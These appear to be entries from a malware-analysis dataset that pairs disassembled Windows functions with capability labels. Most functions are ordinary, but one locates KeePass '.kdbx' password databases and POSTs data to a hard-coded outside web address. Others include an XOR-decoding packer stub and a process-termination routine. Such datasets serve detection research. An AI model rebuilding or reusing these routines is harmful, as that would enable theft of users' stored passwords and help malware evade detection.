joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45adb4
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45adcb
add esp, 0xfffffff0
call fcn.004036c8
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004214c8
mov eax, dword [0x4830a4]
cmp word [eax + 2], 0
jne 0x45adf3
mov eax, dword [0x4830a4]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045c534
mov eax, dword [0x4831c8]
cmp word [eax + 2], 0
jne 0x45ae0d
mov eax, dword [0x4831c8]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045c72c
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41820c]
call fcn.0040338c
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41820c]
call fcn.0040338c
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x4236a4]
call fcn.00429458
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x45af94
mov eax, dword [0x482f2c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00429828
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45ccdc
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x482f2c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040cee4
test eax, eax
je 0x45af02
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408fd0
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040cf0c
test eax, eax
je 0x45af16
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004043e8
mov eax, dword [0x482d1c]
cmp byte [eax], 0
jne 0x45af4a
mov eax, ebx
call fcn.0045b0bc
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045ceb8
mov eax, ebx
call fcn.0045d87c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45af8a
call fcn.00403720
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45b33c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x484bb8]
cmp dword [eax + 0x30], 0
je 0x45b3e6
cmp dword [ebx + 0x94], 0
jne 0x45b3e0
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45b2cc
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45b3e0
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45b3a6
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45b3e0
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041a8f8
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45b3b5
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45bf48
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45bf7d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404268
jmp 0x45bf8a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004041cc
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45d094
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45d0d5
mov eax, esi
call fcn.004434e0
test al, al
je 0x45d0d5
mov eax, dword [ebx + 0x84]
call fcn.004431dc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45d0d5
push 0
mov eax, dword [ebx + 0x84]
call fcn.004431dc
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x45e2b0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404628
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x45e41e
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
xor edx, edx
mov eax, 2
call fcn.0045dc00
mov ebx, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, ebx
call fcn.0045dc20
jmp 0x45e3ea
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004043e8
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00408eac
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00408294
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.00408294
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404584
je 0x45e3ca
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004043e8
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.00408294
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.00408294
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404584
jne 0x45e3e1
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov edx, edi
mov eax, ebx
call fcn.0045dc40
test eax, eax
jne 0x45e32b
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45e425
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.0040419c
lea eax, [ebp - 4]
call fcn.00404178
ret
Function at 0x47e754
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov eax, esp
mov edx, 0x94
call fcn.00406ff8
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
xor eax, eax
cmp dword [esp + 0x10], 2
jne 0x47e7b1
mov edx, dword [esp + 4]
sub edx, 3
je 0x47e78d
dec edx
je 0x47e791
dec edx
je 0x47e795
jmp 0x47e7e5
mov al, 4
jmp 0x47e7e5
mov al, 5
jmp 0x47e7e5
mov edx, dword [esp + 8]
sub edx, 1
jb 0x47e7a5
je 0x47e7a9
dec edx
je 0x47e7ad
jmp 0x47e7e5
mov al, 6
jmp 0x47e7e5
mov al, 7
jmp 0x47e7e5
mov al, 8
jmp 0x47e7e5
cmp dword [esp + 4], 4
jne 0x47e7c3
cmp dword [esp + 8], 0
jne 0x47e7c3
mov al, 1
jmp 0x47e7e5
cmp dword [esp + 4], 4
jne 0x47e7d5
cmp dword [esp + 8], 0xa
jne 0x47e7d5
mov al, 2
jmp 0x47e7e5
cmp dword [esp + 4], 4
jne 0x47e7e5
cmp dword [esp + 8], 0x5a
jne 0x47e7e5
mov al, 3
add esp, 0x94
ret
Function at 0x41fb6c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b520]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00416e52
and dword [ebp - 0x14], 0
cmp dword [0x46d558], 0
mov dword [ebp - 0x18], eax
jne 0x41fc1f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41fcc7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41fcc7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x46d558], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x46d55c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x46d560], eax
call edi
push eax
call esi
mov dword [0x46d568], eax
test eax, eax
je 0x41fc1f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x46d564], eax
mov eax, dword [0x46d564]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41fc78
cmp dword [0x46d568], ecx
je 0x41fc78
push eax
call esi
push dword [0x46d568]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41fc78
test ebx, ebx
je 0x41fc78
call edi
test eax, eax
je 0x41fc6f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41fc6f
test byte [ebp - 8], 1
jne 0x41fc78
or dword [ebp + 0x10], 0x200000
jmp 0x41fcab
mov eax, dword [0x46d55c]
cmp eax, dword [ebp - 0x18]
je 0x41fcab
push eax
call esi
test eax, eax
je 0x41fcab
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41fcab
mov eax, dword [0x46d560]
cmp eax, dword [ebp - 0x18]
je 0x41fcab
push eax
call esi
test eax, eax
je 0x41fcab
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x46d558]
call esi
test eax, eax
je 0x41fcc7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41fcc9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004113cb
leave
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x401000
Capabilities:
Initialize winhttp library
Prepare http request
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13a4
call fcn.00401250
mov eax, dword [0x418080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x1358], str.http:__www.markusmahrla.de
push 0x3c
push 0
lea eax, [ebp - 0x13a4]
push eax
call fcn.00401f00
add esp, 0xc
mov dword [ebp - 0x1364], 0
mov dword [ebp - 0x1360], 0
lea ecx, [ebp - 0x1344]
push ecx
push str..kdbx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x1368], eax
push 0x418040
lea edx, [ebp - 0x1318]
push edx
call fcn.00404482
add esp, 8
mov dword [ebp - 0x134c], eax
push 0
push 0
push 0
push 0
push 0x418044
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0x1348], eax
cmp dword [ebp - 0x1348], 0
jne 0x4010a4
or eax, 0xffffffff
jmp 0x401225
mov dword [ebp - 0x13a4], 0x3c
lea eax, [ebp - 0x204]
mov dword [ebp - 0x1394], eax
mov dword [ebp - 0x1390], 0x100
lea ecx, [ebp - 0x1204]
mov dword [ebp - 0x1378], ecx
mov dword [ebp - 0x1374], 0x800
lea edx, [ebp - 0x13a4]
push edx
push 0
mov eax, dword [ebp - 0x1358]
push eax
call fcn.00404210
add esp, 4
push eax
mov ecx, dword [ebp - 0x1358]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
test eax, eax
jne 0x401119
mov edx, dword [ebp - 0x1348]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
or eax, 0xffffffff
jmp 0x401225
push 0
movzx eax, word [ebp - 0x138c]
push eax
lea ecx, [ebp - 0x204]
push ecx
mov edx, dword [ebp - 0x1348]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x1354], eax
cmp dword [ebp - 0x1354], 0
jne 0x40115b
mov eax, dword [ebp - 0x1348]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
or eax, 0xffffffff
jmp 0x401225
cmp dword [ebp - 0x1398], 2
jne 0x401170
mov dword [ebp - 0x135c], 0x800000
jmp 0x40117a
mov dword [ebp - 0x135c], 0
mov ecx, dword [ebp - 0x135c]
push ecx
push 0
push 0
push 0
lea edx, [ebp - 0x1204]
push edx
push str.POST
mov eax, dword [ebp - 0x1354]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 0x1350], eax
push 0
mov ecx, dword [ebp - 0x134c]
push ecx
call fcn.00404340
add esp, 4
push eax
push 0
push 0
push 0
push 0
mov edx, dword [ebp - 0x1350]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
lea eax, [ebp - 0x1360]
push eax
mov ecx, dword [ebp - 0x134c]
push ecx
call fcn.00404340
add esp, 4
push eax
mov edx, dword [ebp - 0x134c]
push edx
mov eax, dword [ebp - 0x1350]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov ecx, dword [ebp - 0x1350]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov edx, dword [ebp - 0x1354]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [ebp - 0x1348]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [ebp - 0x1364]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401233
mov esp, ebp
pop ebp
ret
Function at 0x401a73
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401ab2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401ab2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401ab2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401ab2
cmp dword [ecx + 0x74], 0xe
jbe 0x401ab2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x408021
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4080be
push ebx
push esi
call fcn.00407fea
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00407f7e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40806b
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4080bd
push edi
push eax
call fcn.00408de3
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40808b
call fcn.00406adf
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4080bc
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00407f7e
add esp, 0x20
test eax, eax
jne 0x4080aa
push edi
call fcn.00406adf
jmp 0x4080b2
push ebx
call fcn.00406adf
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x409560
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x413028
push 0x413020
push str.FlsAlloc
push 0x1f
call fcn.0040941f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409594
push dword [ebp + 8]
mov ecx, esi
call dword [0x41113c]
call esi
jmp 0x40959a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4095de
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x413038
push 0x413030
push str.FlsGetValue
push 0x21
call fcn.0040941f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409615
push dword [ebp + 8]
mov ecx, esi
call dword [0x41113c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40961d
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x413040
push 0x413038
push str.FlsSetValue
push 0x22
call fcn.0040941f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409657
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41113c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40ce45
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.0040cdc1
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x40cfb4
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x40cfb4
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x40cf69
jg 0x40cea1
test eax, eax
je 0x40cf5f
push 1
push 0x1000
call fcn.00406a82
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x40cec4
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x40cf56
push 0x8000
push ebx
call fcn.00405049
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x40ceed
jg 0x40cee8
cmp ecx, 0x1000
jb 0x40ceed
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0040c6e2
add esp, 0x10
cmp eax, 0xffffffff
je 0x40cf32
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x40cee8
jl 0x40cf19
test ecx, ecx
jne 0x40ceda
push dword [ebp - 0xc]
push ebx
call fcn.00405049
push esi
call fcn.00406adf
add esp, 0xc
xor ebx, ebx
jmp 0x40cfc2
cmp byte [edi + 0x24], 0
je 0x40cf49
cmp dword [edi + 0x20], 5
jne 0x40cf49
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x40cf54
mov ebx, dword [edi + 0x18]
jmp 0x40cf56
xor ebx, ebx
push esi
call fcn.00406adf
pop ecx
jmp 0x40cfc2
test ecx, ecx
jg 0x40cf2b
jl 0x40cf69
test eax, eax
jae 0x40cf2b
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0040daca
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x40cf89
cmp byte [edi + 0x1c], 0
je 0x40cf2b
jmp 0x40cfba
push ebx
call fcn.00408901
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x40cf2b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x40cfc2
cmp byte [edi + 0x1c], 0
je 0x40cfbf
mov ebx, dword [edi + 0x18]
jmp 0x40cfc2
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0040daca
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40d1e0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x419090]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40d220
cmp byte [ebx], 0xa
jne 0x40d220
or byte [edi + eax + 0x28], 4
jmp 0x40d225
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x40d324
mov dl, byte [eax]
cmp dl, 0x1a
je 0x40d307
inc eax
cmp dl, 0xd
je 0x40d251
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x40d277
cmp eax, ecx
jae 0x40d285
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x40d239
jmp 0x40d324
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40d302
cmp dword [ebp - 0x10], 0
je 0x40d302
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x419090]
test byte [eax + edi + 0x28], 0x48
je 0x40d2dc
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x40d2c7
mov byte [esi], dl
jmp 0x40d2d8
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x419090]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x40d324
cmp byte [ebp - 1], 0xa
jne 0x40d2eb
cmp esi, ebx
jne 0x40d2eb
mov byte [esi], 0xa
jmp 0x40d323
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0040daca
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x40d324
mov byte [esi], 0xd
jmp 0x40d323
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x419090]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x40d321
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x40d324
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40d32d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x419090]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40d373
cmp word [ebx], dx
jne 0x40d373
or byte [eax + edi + 0x28], 4
jmp 0x40d378
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x40d4db
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x40d4bb
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x40d3b9
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x40d3ef
cmp eax, edx
jae 0x40d3fd
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x40d394
jmp 0x40d4db
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40d4b6
cmp dword [ebp - 0x18], 0
je 0x40d4b6
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x419090]
test byte [eax + edi + 0x28], 0x48
je 0x40d48c
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x40d450
mov word [esi], cx
jmp 0x40d487
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x419090]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x419090]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x419090]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x40d4db
pop eax
cmp word [ebp - 4], ax
jne 0x40d49c
cmp esi, ebx
jne 0x40d49c
mov word [esi], ax
jmp 0x40d4d8
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0040daca
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x40d4db
push 0xd
pop eax
jmp 0x40d497
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x419090]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x40d4d5
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x40d4db
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40fe00
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40fe2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40fe2d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret